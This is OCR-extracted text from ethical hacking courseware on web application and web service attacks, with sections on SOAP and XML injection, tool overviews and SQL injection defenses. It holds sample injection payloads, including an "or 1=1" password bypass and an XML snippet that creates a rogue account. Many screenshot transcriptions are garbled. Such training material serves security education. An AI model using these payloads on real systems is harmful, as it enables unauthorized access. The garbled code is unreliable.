vulnerabilities occur in HTML page with frames. Another reason for this vulnerability is editing

of the frames is supported by the web browsers.

!: Request Forgery Attack
In this attack, the attacker exploits the trust of website or web application on the
user's browser. The attack works by including a link in a page that accesses a site to which the

user is authenticated.
Session Fixation

Session fixation helps an attacker to hijack a valid user session. In this attack, the
attacker authenticates him or herself with a known session ID and then hijacks the user-
validated session by the knowledge of the used session ID. In a session fixation attack, the

attacker tricks the user to access agenuine web server using an existing session ID value.
Privacy Attacks

A privacy attack is tracking performed with the help of a remote site that is based on a

leaked persistent browser state.

A Active X Attacks
The attacker lures the victim via email or a link that has been crafted in such a way
that the loopholes of remote execution code become accessible. Attackers gain equal

access privileges to that of an authorized user.
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Mechanism Mechanism
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W eb App Hacking M ethodology

Attack W eb Services

Web services are easily targeted by the attacker. Serious security breaches are caused when an
attacker compromises the web services. The different types of web service attacks and their

consequences are explained on the following slides.
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Atd\MO S os cen

J Web services work atop the legacy web applications,and any attackon web service will immediately
exposean underlying application’'s businessand logic vulnerabilities forvarious attacks
Information Leakage, Database Attacks,

Application Logic Attacks boS Attacks
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CI Attack Web Services

Web services work atop the legacy web applications, and any attack on a web service
will immediately expose an underlying application's business and logic vulnerabilities for
various attacks. Web services can be attacked using many techniques as they are made
available to wusers through various mechanisms. Hence, the possibility of vulnerabilities
increases. The attacker can exploit those vulnerabilities to compromise the web services. There
may be many reasons behind attacking web services. According to the purpose, the attacker
can choose the attack to compromise web services. If the attacker's intention is to stop a web
service from serving intended users, then the attacker can launch a denial-of-service attack by
sending numerous requests.

Various types of attacks used to attack web services are:
© SOAP Injection

XML Injection

WSDL Probing Attacks

Information Leakage

Application Logic Attacks

® © e © o

Database Attacks
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Q DosS Attacks

Web _ SOAP Injecticn, WSDL Probing Information Leakage, Database Attacks,
eb Services XML Injection Attacks Application Logic Attacks DoS Attacks
FIGURE 13.52: Attack W eb Services
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Web Services Probing Attacks CEH

Urtifwd ilhiul  IUtbM

6 Inthe first step, the attackertraps the WSDL 6 Attackerthen creates asetofvalid requests by selecting
document from web service traffic and analyzes it to asetof operations, and formulating the request
determine the purpose ofthe application, functional messages according to the rules ofthe XML Schemathat
break down, entry points, and message types can be submitted to the web service

9 These attacks work similarto SQL injection attacks « Attacker uses these requests to include malicious

contents in SOAP requests and analyzes errors to gain a
deeper understanding of potential security weaknesses

<?>0:ml versions" 1,0" encoding” “utf-8" 2>

- <soap: Envelope xmins: soap™hitp://schemas xmlsoap.org/soap/ envelope/~
xmins: xsi="http ://www w3 .0rg/2001/XMLSchem ~-instl'Ince "

xmins: xsd="http://www .w3 .0rg/20DI/XMLSchemIT>

m<soap: Body>

« <soap:Fault>

<faultcode>soap:Server</faultcode>

Sfaultstring>System. Web Services Protocols . SoapException: trw m iw ti« to

<2xml verslon™"1.0- encoding™"UTFS' standalone™ '
no* 7>
- <SQAP-ENV: Envelope )(mins:
SOAPSOKI™"http://www.w3.0rg/2001/

T oureem. XMLschema’
xmins: SOAPSDK2™"http ://iwww w3 .0rg/200

V.

Attacker I/XMLSchem.o- Inst.once” procate request -> ryrtem CataOUDb.OVDInception  Syntax =rror (milling operator) «nquwy t.prne""
xmins: SOAPSDK3«"http://schemas .xmlso.op productname Ilke "~ and providerld 112« 111 - +941*. At
.org/soap/ encoding/ xmins: SOAPENV™ ‘th;lamm Dt QleCoQleCoconmand iecutc( ommand Teatluarkinden 1
* http xmlsoap pel’> liagOBTARRANE dbfaramt. Chiectg, e«ea/teHeust) «t 1:
+ <SOAP- ENV Body * gk Do CkeCh OkOCrTr a1 at Sﬁ)em‘ Datn (6
N . i CMObCemmend UeaiteCommand  'Command Behevior beftavior, Object* axactfafteiuN) at S*ewn

<SOAPSDK 4: GetProductinformationByName OUCh Q00 mm and. liKuKKe adri ntcrma Y(Command Befevior behavior, Siing methoe) at
xmins: SQAPSDK4s" http://s*austlap/Productinfo/'> Serverthrows Syftam Cata.OMDb. OMObcontmend.ixaacteKeaderiConlmandBehBvlar_behavior) at
Attacker inject [<SQAPSDK4;name?s "SQAP3DK4; nam d fystem Data OleDkOleObcormmand laea/teKcader() at Puocket Mo. ProductOBAess  bet Produd
. ) <SOAPSDK4: uid>312 w111 -8543</SOAPSDK4:uid> an error INanmAlmlStrlrg productMare, String uld, String pass;nﬁvd) 2 e, S Jd. Sivg o
arbitrary character  <soapspka: password> 5648</SOAPSDK4: h

inner axmpoon stack trac —</faultstring>

() inthe input field  password> . <detail />
</SOAPSDK 4: GetProduc t In forma ti 0 n By Name> </soap: Fault>

</SOAPENV: Body </soap :Body>
</SOAPENV: Envelope> </soap: Envelope>
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W eb Services Probing Attacks

In the first step, the attacker traps the WSDL document from web service traffic and
analyzes it to determine the purpose of the application, functional breakdown, entry points,
and message types. These attacks work similarly to SQL injection attacks. The attacker then
creates a set of valid requests by selecting a set of operations, and formulating the request
messages according to the rules of the XML Schema that can be submitted to the web service.
The attacker uses these requests to include malicious content in SOAP requests and analyzes

errors to gain adeeper understanding of potential security weaknesses.

<?>o0:mlversion™"I, 0" encoding™ "utf-8" 1>

m<soap: Envelope xmins: soap="http://schemas.xmlsoap.org/&oap/ envelope/"
xmins: xsi="http://www w3 .0rg/2001/XMLSchem-~- instl'Ince "

xmlins: xsd="hup://lwww .w3 .0rg/200 I/XMLSchemIT>

« <soap: Body>

«<soap:Fault>

<?xml version1.0""+encoding~'U TF-S' standalone™
no' 2>

* <SOAP*ENV: Envelope )(mins:
SOAPSDKI="http://lwww.w3.0rg/2001/

XMLschema’ <fauKcode>soa p:Server</faultcode>
Attacker xmins: SOAPSDK2="http ://www .w3 .01g/200 <fauhstring>System. Web .Services .Protocols .SoapException: 'vAAAunahi. o0
XMLSchem.o- inst.once process request — ly5tem Dale.OleOb. CXeObCxoeption: Syntaxerror Imissinc operator linqueryu p m m
xmins: SOAPSDK3="http://schemas .xmIso.0p productnamelike “and providerid-'312 - 111 8543". At
- sy(tenvData.04eDb.Q) q
-org/soap/ encoding/ xmins: SOAPENV " mmazw)abwerm Deta OOt OleOtxomra Tl ExecuteCommind TeiFoi SintfeReill
xmisoap P 1ogDSPARANS hParan?, Object execi*ekesuf at
- <SOAP- ENV:Body> sftrm Defa.Ole Db.Q orrmand Tart(Obj! )at System .Data HieOfe
- <SOAPSOK4: GetProdUctinformationByName OteCXjCommiod | Executecommlnd(commndBehawor behdvioi Objects exauttfteMIt)4t System Data
. § AR , 0%roh.OlcDbCom: havior, Stringm<t hod) at
xmins: SOAPSDK4="1 " @/ ~ 8USY orp 1 o> Serverthrows Sys(emOats(JleObde nIHrsdn(( behavior)at
Attacker inject ~KSOAPSDK4: name> </SOAPSDK4:namel Sntei>atd. Ol«ObXileObe ¥ isrkxic LuteReAdud at P oduct Info. ProdwUOS AL+ et Piodwet
<SOAPSOK4: uld>312 - 111 - 8543</SOAPSDK4: uid> an error i ioofstri Id, Stri
i " 10 Nec"StrinRnam o

arbitrary character  .soapspkd: passwords 5648</SOAPSDK4: P OuKtnfe PTuckclnlxCet? Sl ndol

N ; : inner Mcepttonstadctrar- —</faultSthng>

(') in the input field  pasoword> <detail />
<ISOAPSDK 4: GetProduct In forma tiO nBy Name> !

<Isoap: Fault>
</SOAPENV: Body> A
</SOAPENV: Envelope* </soap : Body>
: </30jp: Envelope-"
FIGURE 13.53: W eb Services Probing Attacks
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Web Service Attacks: SOAP
Injection

J  Attacker injects malicious query strings in the user inputfield to bypass web services

authentication mechanisms and access backend databases

J  This attackw orks similarly to SQL Injection attacks

0d)®
Server Response

o o http://juggyboy.com/ws/products.asmx

<?xml version“"1.0" encoding="utf-8' 2>

Account Login

<so”>: Envelope xmlns: soap=',http://schemas
0, .xmlsoap.org/soap/envelope/"
Username fA) xmins: xsi —http://www .w3 .org/2001/XMLSchema-
instance’

Password [on xmins: xsdm'h ttp :// www .w3 .0rg/2001/XMLSchema '>

<soap:Body>

<?ul T«r:10am 1.0 imd]ag “UTF-0" standalooem “##'2> - <GetProductinformationByNameResponse
- <SQk?-DIV:tav<  pe xnilns SOAPCDKI-http //wvw v) .or«</2001/XHLSch«i xmins""http ://juggyboy/Productinfo/<"
alas: SQAPSOX2’ http /MWW w3 ©rg/2001/ XMLGchar* « instaoce i

als: SOAPSDK3’ hittp ://schcsM: .xbl:o«p .otf/sotp/iBeedio(/ " ulai <GetProductinformationByNameResult>
SOAPEKV- http://:ebcBe: 111/i0ip lenvclopcl > <productid> 25 </product!d>

- <SOAP-DfV Body S

- <2QA7SDX4 GetProductinfonmtionByNftoe <product Name >Paintinglol</productName >
ala:: SQAPSDX4*" http // }uggyboy/Productinfo /*> <productQuantity>3</productQ uantity>
<20APSDKA: name ¥ </SOAPSDK4 : name> )
<2gAP§DKAZ o312 {52115- 55A3i/ZQAPsDKA :md> <productPrice> 1500</productPrice>
<E0APSDK4: pa::word> Or 1= 1 Or blah = 1</SOAPSOK4 : pas </GetProductinformationByNameResult>
</SOAPSOK 4 GetfrodnctinforaitiooByNwo c/SOAP-EKV Body:e </GetProductinformationByNameResponse>

</SOAP- OT/ : Envelope* Ison Bod
</so”>: Body>

</soap: Envelope>
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W eb Service Attacks: SOAP Injection

Simple Object Access Protocol (SOAP) is a lightweight and simple XML-based protocol
that is designed to exchange structured and type information on the web. The XML envelope
element is always the root element of the SOAP message in the XML schema. The attacker
injects malicious query strings in the user input field to bypass web services authentication

mechanisms and access backend databases. This attack works similarly to SQL injection attacks.

Server Response

Q © http://iuggyboycom/ws/products.asmx
. <?xml version="1.0" encoding="utf-8' 2>
Account Login - <soap: Envelope xmins: soap='‘http://schemas
.xmlsoap.org/soapl/envelope/"
Username £ % 335> g xmins: xsi = 'http://www w3 .org/2001/XMLSchema-
instance’

Password foriiTorb b h SLbni: xmins: xsd='http ://'www .w3 .org/2001/XMLSchema'>

- <soap:Body>
- <GetProductinformationByNameResponse

<2xkl version- ' 1.0° encoding- UTr-8' standalone- 'no"?>

- <SOAP-BNV:Envelope xmlns: SOAPSDKI-"http://www.w3.0rg/2001/*M LSchel xmins="h ttp ://juggyboy/Productinfo/">
mini: SOAPSDK2—* http ://www. w3 .org/ 2001/ XMLSchema - inatance® ) v
xalm: SOAPSDK3=" http://schelaas.xallaOap.org/90ap/encoding/* xalna: - <GetProductinformationByNameResuit>
so nex s xjals0oap.0rg/80ap Jenvelopedr> <productid> 25 </productid>

- <SOAPSDK4:0etProdoctinfor«otionByNnme <product Name >Paintinglol</productName >
nins: SOAPSDK4— http:// juggyboy/Productinfo /'> <productQuantity>3</productQ uantity>
<SOAPSDKA naae>% </SOAPSDKA: name> ) )
<SOA?SBK4: uld>312 - 111 - 8543</SOAPSDK4: uld> <productPrice> 1500</productPrice>
<SOAPSDK4: paaaword>® Or 1* 1 Or blah ® </SOAPSDKA: paaaword> </GetProductinformationByNameResult>
</SOAPSDK 4: cotProdactinformatlonByNamo> </SOAP ENV:BOdy> </GetProductinformationByNameResponse>

<JSOAP BNV : Envoiopo>
</soap: Body>

</coap: Envelope>

FIGURE 13.54: SOAP Injection
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Web Service Attacks: XML

Injection

CEH

Attackers inject XML data and tags into user input fields to manipulate XML schema or populate

XML database w ith bogus entries

XML injection can be used to bypass authorization, escalate privileges, and generate web services

DoS attacks

http://juggyboy.com/ws/login.asmx

Submit

mark@ certifiedhacker.com</mail> </user>
<u$er> <username>Jason</usemame>
<password>attack</password>
<userid>105</useridxmail>jason (Sjuggyboy.com

W eb Service Attacks

Server Side Code

<?xml versionl.0""" encoding” "ISO-8859-!1"?>
scusers>
<user>
<usemame>gandalf</username>
<password>'c3</password>
<userid>101</userid>
<mall>gandalfOnuddleearth .ccnK/m ail>
<luser>
<user>
<usemane >Mark</username>
<password>I2345</password>
<userid>l02</userid>
<mail>gandalf(?middleearth. cotrK/m ail>

J <user>
L] <usem ame>jason</usemame> Creates new
[] <password>attc)c</password>
L] <userid>105</userid>
. <mail>jason@ juggyboysconK/mail> onthe server
m <“user>

<lusers>

Copyright® by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

XM L Injection

The process in which the attacker enters values that query XML with values that take

advantage of exploits is known as an XML injection attack. Attackers inject XML data and tags
into user input fields to manipulate XML schema or populate XML database with bogus entries.

XML injection can be used to

services DoS attacks.

00 HpfipnyohsliEx

Account Login

Username Mark
Password 12345
E-mail

A

mark@ >certifiedhacker.com</mailx/user>

<user> <username>Jason</username>
<password>attack</password>
<userid>105</useridxmail>jason@ >juggyboy.com

bypass authorization,

escalate privileges, and generate web

Server Side Code

<?xnl versionm 1.0*" encoding-'1SO~885971"?>

<us«rs>
<us*r>
<ussrnMM>gandalf</us«rn«nes>
<pas3word>!a3</password>
<userid>101</us«rid>
<riail>gandalfm'riddleearth .com</riail>
</user>
<us«r>
<usernalne>Mar]c</usernaine>
<p»33w0rd>12345</pa33v70rd>
<userid>102</userid>
<rlail>gandaleé3middl««arth.com</mail>
<lus«r>
1"user5- -
<ua*rna.*n#>jason</us«rname> H Creates new
| <pas3word>attck</pa3sword> !
: N useraccount
| <userid>105</us«rid>
» <mall>jasont"juggyboy.oom</m»il> = on the server

e </u3*r>
<lut«rl>

FIGURE 13.55: XML Injection
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Web Services Parsing Attacks CEH

B Parsing attacks exploitvulnerabilities and weaknesses in the processing capabilities ofthe XML
parserto create a denial-of-service attack or generate logical errors in web service request

processing

Attackerqueries forweb services w ith a Attackers send a payload thatis
gramm aticallycorrectSOAP docum entthat excessively large to consum e all system s
contains infinite processing loops resulting resources rendering web services

in exhaustionofXML parserandC P U inaccessible to other legitimate users

resources

Copyright® by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

W eb Services Parsing Attacks

A parsing attack takes place when an attacker succeeds in modifying the file request or
string. The attacker changes the values by superimposing one or more operating system
commands via the request. Parsing is possible when the attacker executes the .bat (batch) or
.cmd (command) files. Parsing attacks exploit vulnerabilities and weaknesses in the processing
capabilities of the XML parser to create a denial-of-service attack or generate logical errors in

web service request processing.
Recursive Payloads

XML can easily nest or arrange the elements within the single document to address
the complex relationships. An attacker queries for web services with a grammatically
correct SOAP document that contains infinite processing loops resulting in exhaustion of XML

parser and CPU resources.
Oversize Payloads

In these payloads, XML is relatively verbose and potentially large files are always in to
the consideration of protecting the infrastructure. Programmers will limit the document's size.
Attackers send a payload that is excessively large to consume all system resources, rendering

web services inaccessible to other legitimate users.
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Web Service Attack Tool: soapUl

soapUlis a open source
functional testing tool, mainly

used for web service testing

It supports m ultiple protocols
such as SOAP, REST, HTTP, JMS,

AMF, and JDBC

Attacker can use this toolto
carry outweb services probing,
SOAP injection, XML injection,
and web services parsing

attacks

Copyrighte by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited

W eb Service Attack Tool: soapU.l
T Source: http://www.soapui.org

soapUl is an open source functional testing tool, mainly used for web service testing. It supports
multiple protocols such as SOAP, REST, HTTP, JMS, AMF, and JDBC. It enables you to create
advanced performance rests very quickly and run automated functional tests. With the help of
this tool, attackers can easily perform web services probing, SOAP injection, XML injection, and

web services parsing attacks.
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<vsdl :sessaae nal»="3ear2hre3pcn3e">
<vai:par- naug=3 ear &re3ulf” eienenc=

i 0 pat <wsdl :nc:3aje>
5 Q port ) <vsdl:1ne35age narﬁfmySeQUe:Sb .
© C3_bulRespc | <vsdl:par- re2%=3ess10nd* type="xsci: string"/>
buy_fadt | <v-dl.pazs nnir-**buyasrijig” t-ype—rx=<i.3tuing” >
) iRea <mvsdl :nacBajo
<vsdl:zessaaa nalie="busRespoase">
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2 ogin_ Tl </vodi:me:3aie>
p <vsdl Tt &ae® naT¥*="Login_fafltM3g">
©+CD bgUlRec <v=dl:pard nane="loginFault" cype=*xsd:string"/>
© O booutRes i/wsdl.ae:3aje>
ih Co beojt fa ‘adl-mica”s nane="logout_flultM«g">

© C3 searchRe <vsdl:part rAxa="logoJtiault'* typ-3="x3d:string V>

pa li<Altty://Aww.cxallplc.otg/>ertulc/

FIGURE 13.56: soapUIl Tool Screenshot
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Web Service Attack Tool: XMLSpy

Altova XM LSpyisthe XML editor and
developmentenvironmentfor
modeling, editing,

transforming, and

debugging XM L-related technologies

W eb Service A ttack

N

2

Altova XMLSpy is the XML editor
transforming, and debugging XML-rel

j Altova XMI Spy

: Fic Eit Frject >M-

DTDfSchemo  Cchemo design - XSLIXQuery — Authentic

Exam 312-50 Certified Ethical Hacker

CEH

Convert  View Ercwso'

| VED. SZ° TS \Webv Hp

aia . a 12-',a j 1l7ipiiainigiBml!r ,W H ffiilF b
;2jg baft, [<s<gyB! yD&-
ncyR3 XSL Output, htmt
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http/xm s 3y.neVager
c?’schsmasmersonn
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NMYFirstNJamks»
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13 () Pervjt aDato

niat

10 isee Gt
lerf

0 () -ostivbire Etoner*

ra () He ElOTtor

Concert Varables ~ <FattvWatah

19
Kefdehsett

niL:FirsiName">
SPliitare
span style-'color: navy:
font-famity:Arial;

fonts size :12pt;
T <

«cjia ppV-tompialo 0/

l \The

“Personn

First Nairn

«pan>
X Call Stack
|V<lus [ Atlih N Decunmt
xsl:rer-eech TheAgencyR3.xsf Tertiporarr Re»*
xsl:fo"eo=h The.AgencyR3.x5H Temporary Res' _
vsl:f<y-*ich Th*A{jf>nryR3 *H  TMpor»rvR«1
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Call Stack Templates Into Messaoes Trace

http://www. altova.com
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Tool: XM LS

Source: http://www .altova.com

and development
ated technologies.

py

environment for modeling, editing,

It offers graphical schema designer,

Smart Fix validation,

a code generator,

file converters,

debuggers,

integration, and support for WSDL,

SOAP, XSLT, XPath, XQuery,

full
and Open

database
XML

profilers,
XBRL,

documents, plus Visual Studio and Eclipse plug-ins, and more.
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IAItova XMLSpy O(sJS 1
i File Edit Project XML DTD/Schema Schema design XSL/XQuery Authentic Convert View Browser
i WSDL SOAP Tools Window Help
ID IHjO1L#U U jB IliBi 1?2 1Irajf
1] DL 0oovo
http 1w ww .w 3 .0org/20 xslitext>

01/XMLSchem a-insta
nee"

xsitschemalocation

http :/fxm Ispy.net/agen
cylschemas/personn
el

C:VTheAgency.xsd">

</span>

xsl:for-each select="

nl:FirstName">

The
- Personn

span style="colornavy;
fontfamily:Arial;

font'size:12pt;

m <PersonalData> font-weight:bold; *>
33
N iki</FirstNam e> xsitapply-templates/> First Nam e:
] <LastName> 34 <t
Devgood</ PR
frniTheAgencyR3 Q Agents @ XSL Output.html
Context X Call Stack
Name | Type IValue / Attrib.. Name I Location Result Document
E) <> PersonalData Element *  xsl:for-each TheAgencyR3.xslt Temporary Res! /v
FirstName ){ O Element xsl:for-each TheAgencyR3.xslt Temporary Res!
Hx —! Text Niki = xsl:for-each TheAgencyR3.xslt Temporary Resi
n : |
W >< LastName Element xsl:for-each TheAgencyR3.xslt Temporary Res!
. v body TheAgencyR3.xslt Temporary Res!
I+1 O Title Element
Context Variables XPath-Watch Call Stack Templates Info Messages Trace
Step Into Ln 5, Col 19 NUM
FIGURE 13.57: XMLSpy Tool Screenshot
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So far, we have discussed web application concepts, threats associated with web

application, and the hacking methodology. Now we will discuss hacking tools. These tools help

attackers in retrieving sensitive information and also to craft and send malicious packets or

requests to the victim. Web application hacking tools are especially designed for identifying the

vulnerabilities in the web application. With the help of these tools, the attacker can easily

exploit the identified vulnerabilities and carry out web application attacks.

n Web App Pen Testing

n Security Tools

Countermeasures

Y Web Application Hacking Tools

AL
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This section lists and describes various web application hacking tools such as Burp Suite
Professional, CookieDigger, WebScarab, and so on.
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Web Application Hacking Tool:
Burp Suite Professional

Source: http:// www .portswigger.net

Burp Suite is an integrated platform for performing security testing of web applications. Its
various tools work together to support the entire testing process, from initial mapping and
analysis of an application's attack surface, through to finding and exploiting security
vulnerabilities. Burp Suite contains key components such as an intercepting proxy, application-
aware spider, advanced web application scanner, intruder tool, repeater tool, sequencer tool,

etc.

Module 13 Page 1909 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.portswigger.net

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

burp suite free edition v1.4.01 intruder attack 1
[ap nul gElE *TIS acd
mfruder  rspaals(  saque decoder ' conpare* ' of*ons  Mart*

reac *rowvig 1H*em*

Apeder
L21 7 lll*  target  positor* | pajloads
. . * * mmen
| target posiaons  pasioads opeons request  position pajfoad | *talus error 6me leng comment
0 1A= 1200 10443  © = *
1 WeD Service Atack 400 193
attack type  *nicer 2 weD SeMce *itac* 200 10443
2 payload posAon* lengti i request  response
th'id-f1.41500402:3>>x0% is H> .-51.1* HTTP 777" ravw  p3tarn  headers  he!

Moat: ca4.rv.blng.net .
Proxy-Connection: keep-alive lorr /th?id«1.4S07U1SO048223ICplde!. 1 HTTP/1.1

Uset-Agent: Ho:illa/5.0 iVindovs 1JT f.2; WOVi4! :;'031: '[84-3'7-?1“94{261 i
Applefebrit/S37.4 'KHTHL, like Gecko! coxy-Connection: keep-alive

: Osec-Agent: BosilU/5.0 .Vindoirs NT €21 VOVEA» AppleVebr.it/S37.4
hrow 12:9.94 faci. 7.4
iccgp[e ? 994 Safacilss KHTHL, like Gecko* Chrone/22.0.1229.94 Safar1/S37.4
Petetec Accept:_-/-
http: vvv.bing.cjS*usages seated?qabikes(idaCCCC7670 Peterer: . )
CSC1CD3A9IDIEABE6(3SIKE8S7SD12£944KOPHa IQFPBA http://m .bing.coa/ lanag«9 s™arch7q-blkes41d-*CCC7£70fSC1CD3A9d:EABESe'3

1> FE8S7SD12S94 4FOPHs IQFPBA

Accept-Bncoding: gsip,deflate,sdeh
Accept-Lanyua<je: en-US.en;q-0.0
Accept-Charset: 1SO-00S9-1,utf-0;9-0.7,+;q-0.3

Accept-Encoding: gzip,deflate,sdeh

MMUAKL. /=1,
Snnnrn] " lem*
FIGURE 13.58 Burp Suite Professional Tool Screenshot
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Web Application Hacking Tool:

CookieDigger CEH

j CookieDigger helps identify weak cookie generation and insecure implementations of session management by web applications
J It works by collecting and analyzing cookies issued by a web application for multiple users

J The tool reports on the predictability and entropy of the cookie and whether critical information, such as user name and
password, are included in the cookie values

Foundstone Cookie Digger

Foundstone | CookieDigger

‘/*tea URLS
WAV pvcom 3L
accounts gootfe coro/SeracelognAih’ f_soace"st«tnpu3A"2.'F 2 . Ffrai
mi, a0z, re>110 NSAVEIGIFATen YOGS «av/v* 1| ) it
hnps%ﬁogle 0.Ai*28v1ew* «ptver hrtdnw»*r4 (wd e jdfn
hitps joogle cwn/VnaHi/UAj «2hin»~aplwnchm > 6 t14
hitps /WU M 14 tne! go3gh com/tns'U/OA]
httpsy/W»l.google corvm»I'u/Q/'Vwe «
https AVrsl google axn/_'Inad™tatic/_fic/"Mn/» 1jt4v'vafh»XOWKEedc an
hitps //his! gosgle conTi/O. NI m2VIW<)p;L
hitpsyMbI.go0gH* CfVmm| *U/0. ,J «24vww<cplvarchfiHrw-tr
hfips /NVnal google coun>al A0->j«28VTew">spUw <IWQty<
h(lpmgle co'nATwIAJ/()AJ*fllmc
fts t' HardAdmwhtir
/httpy/maim.oom
hitp MW convlognvtrfy y ¢
hitpy/m*I r.00ffvr*wm»(Atandatphp>»Ad*Unes
about War*
http //hotmatl/
hitpyhw* fotmol com/
« Back Mod >

http://www.mcafee.com
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W eb Application Hacking Tool: C ookieDigger
Source: http://www.mcafee.com

CookieDigger is a tool that detects vulnerable cookie generation and the insecure
implementation of session management by web applications. This tool is based on the

collection and evaluation of cookies by aweb application used by many users.

Certainty and entropy of the cookie are factors on which the tool relies. The cookie values

contain valuable information such as the login details of the user (user name and password).
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Foundstone Cookie Digger

File Help

Foundstone | CookieDigger
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FIGURE 13.59: CookieDigger Tool Screenshot
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Web Application Hacking Tool:

WebScarab CEH

W ebScarab is aframework for analyzing applications that communicate using the HTTP and HTTPS protocols

Itallows the attacker to review and modify requests created by the browser before they are sentto the server,

and to review and modify responses returned from the server before they are received by the browser

File View lools Help

Summary Message log  Proxy Manual Request WebServices Spider Extensions SessionlD Analysis Scripted Fragments Compare

2 Summary

O Tree Selection niters conversation list

url Methods Status | Set-Cookie Comments Scnpts
? (15 http://lwww.owasp.ora:80/ GET 301 Moved. o o o
°*n banners/ o o o
o-n imaaes/ a a o
9 (13 index php/ o o o
O Maln_Page GET 200 OK o E
O skins/ o o o
Host Path Status Origin
“UUb/ULOT Ut I http/Mvww owasp org BU /skins/monobook/main W 2DUOK
http:fAYww.owasp.org 80 /skins/common/IEFixes Proxy
http://lwww.owasp.org.80 /skins/common/commo Proxy
2006/06/23 GET http://www.owasp org 80 /index php/Mam_Page Proxy
2006/06/23... GET http://www.owasp.org.80l/ Proxy

http://www.owasp.org
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W eb Application Hacking Tool: WebScarahb
Source: http://www.owasp.org

WebScarab is a framework for analyzing applications that communicate using the HTTP and
HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has
several modes of operation, implemented by a number of plugins. It operates as an
intercepting proxy, allowing the attacker to review and modify requests created by the browser
before they are sent to the server, and to review and modify responses returned from the
server before they are received by the browser. It is even able to intercept both HTTP and
HTTPS communication. The operator can also review the conversations (requests and

responses) that have passed through WebScarab.
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FIGURE 13.60
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Web Application Hacking Tools | CEH

M InstantSource H ttpB e e

http://www .blazingtools.com http://www.000.nu
ma— s °
w3af Teleport Pro
http://w3af.sourceforge,net A b ondy http://www.tenm ax.com
GNU Wget W ebCopier
http://gnuwin32.sourceforge, net , http://www.maximumsoft.com
BlackWw idow HTTTRACK
http://softbytelabs.com http://www .httrack.com
cURL M ileSCAN ParosPro
http://curl.haxx.se http://www.milescan.com
Copyright©® by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.
/ \' W eb Application Hacking Tools

A few more tools that can be used for hacking web applications are listed as follows:

© Instant Source available at http://www .blazingtools.com

© w3af available at http://w3af.sourceforge.net

© GNU Wget available at http://gnuwin32.sourceforge.net

© BlackWidow available at http://softbytelabs.com

© cURL available at http://curl.haxx.se

© HttpBee available at http://www .0QO.nu

© Teleport Pro available at http://www.tenmax.com

© WebCopier available at http:// www.maximumsoft.com

© Hill RACK available at http://www .httrack.com

© MileSCAN ParosPro available at http:// www.milescan.com
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Module How

Web App Pen Testing OI I Web App Concepts
]

ay
Security Tools & Web App Threats

Countermeasures

Web Application Hacking Tools
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oA M odule Flow

So far, we have discussed various concepts such as threats associated with web
applications, hacking methodology, and hacking tools. All these topics talk about how the
attacker breaks into a web application or a website. Now we will discuss web application
countermeasures. Countermeasures are the practice of using multiple security systems or
technologies to prevent intrusions. These are the key components for protecting and

safeguarding the web application against web application attacks.

\% Web App Pen Testing /i&Mk  Web App Concepts
n Security Tools Web App Threats
or
Countermeasures e~ Hacking Methodology
(j "
m

Web Application Hacking Tools

vfl
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This section highlights various ways in which you can defend against web application attacks

such as SQL injection attacks, command injection attacks, XSS attacks, etc.
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BHoodingSoaes CEH

W eb applications em ploy different encoding schemes for their
data 10 Safely handle unusual characters and binary data in e

way you intend

URL encoding isthe process of converting URL into valid ASCIl
formatsothat data can be safely transported over HTTP

URL encoding replaces unusual ASCll characters with "%"
followed by the character's two-digit ASCIl code expressed in
hexadecimal such as:

%3 od
a %0a New line

« %20 space

An HTML encoding scheme is used to representunusual
characters sothat they can be safely combined within an
HTML document

It defines several HTML entities to represent particularly
usual characters such as:

Copyright® by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

Encoding Schemes

—_— HTTP protocol and the HTML language are the two major components of web
applications. Both these components are text based. Web applications employ encoding
schemes to ensure both these component handle unusual characters and binary data safely.
The encoding schemes include:

m URL Encoding

URLs are permitted to contain only the printable characters of ASCCI code within the

range 0x20-Ox7e inclusive. Several characters within this range have special meaning

when they are mentioned in the URL scheme or HTTP protocol. Hence, such characters are
restricted.

URL encoding is the process of converting URLS into valid ASCIl format so that data can be
safely transported over HTTP. URL encoding replaces unusual ASCIl characters with "%"

followed by the character's two-digit ASCIl code expressed in hexadecimal such as:
Q %3d
Q %0a New line

9 %20 space
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> HTML Encoding

*** The HTML encoding scheme is used to represent unusual characters so that they can be
safely entered within an HTML document as part of its content. The structure of the document
is defined by various characters. If you want to use the same characters as part of the
document's content, you may face problem. This problem can be overcome by using HTML

encoding. It defines several HTML entities to represent particularly usual characters such as:

Q &amp; &
e &it; <
e &gt; >
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Encoding Schemes CEH

(Contq!)
Base64 Encoding Hex Encoding
Base64 encoding scheme HTML encoding scheme uses
represents any binary data hex value of every character
using only printable ASCIl to representacollection of
characters characters for transmitting

binary data

tt  Example:
Hello A125C458D8

Jason 123B684AD9

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

Encoding Schemes (Cont’d)
Unicode Encoding Base 64 Encoding Hex Encoding

Unicode is a character encoding Base 64 schemes are used to encode An HTML encoding scheme uses hex value
standard that is designed to support binary data. A Base 64 encoding scheme  of every character to represent a
all of the writing systems used inthe represents any binary data using only  collection of characters for transmitting
world. Unicode is exclusively used to printable ASCIl characters. Usually it is  binary data.

hack web applications. Unicode used for encoding email attachments for

encoﬁing helps attackers to bypass safe transmission over SMTP and also Example:
the filters. used for encoding user credentials. Hello A125C458D8
16-bit Unicode encoding: Example: Jason 123B684AD9
It replaces unusual  Unicode _,e
characters with "%u" followed by the  0110001101100001011010110110
character's Unicode code point 0101
expressed in hexadecimal:

Base64 Encoding: 011000
%u2215 / 110110 000101 101011 011001

010000 000000 000000
%u00e9
UTF-8
It is a variable-length encoding
standard that wuses each byte
expressed in  hexadecimal and
preceded by the %prefix:
%c2%a9
%«2%89%a0

TABLE 13.2: Encoding Schemes Table
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How to Defend Against SQL

Injection Attacks CEH

Limit the length of user input

Use custom error messages

Monitor DB traffic using an IDS, WAF
Disable commands like xp_cmdshell

Isolate database server and web server

Always use method attribute set to POST
Run database service account with minimal rights
Move extended stored procedures to an isolated server

" ﬂ Use typesafe variables or functions such as IsNumeric() to ensure typesafety
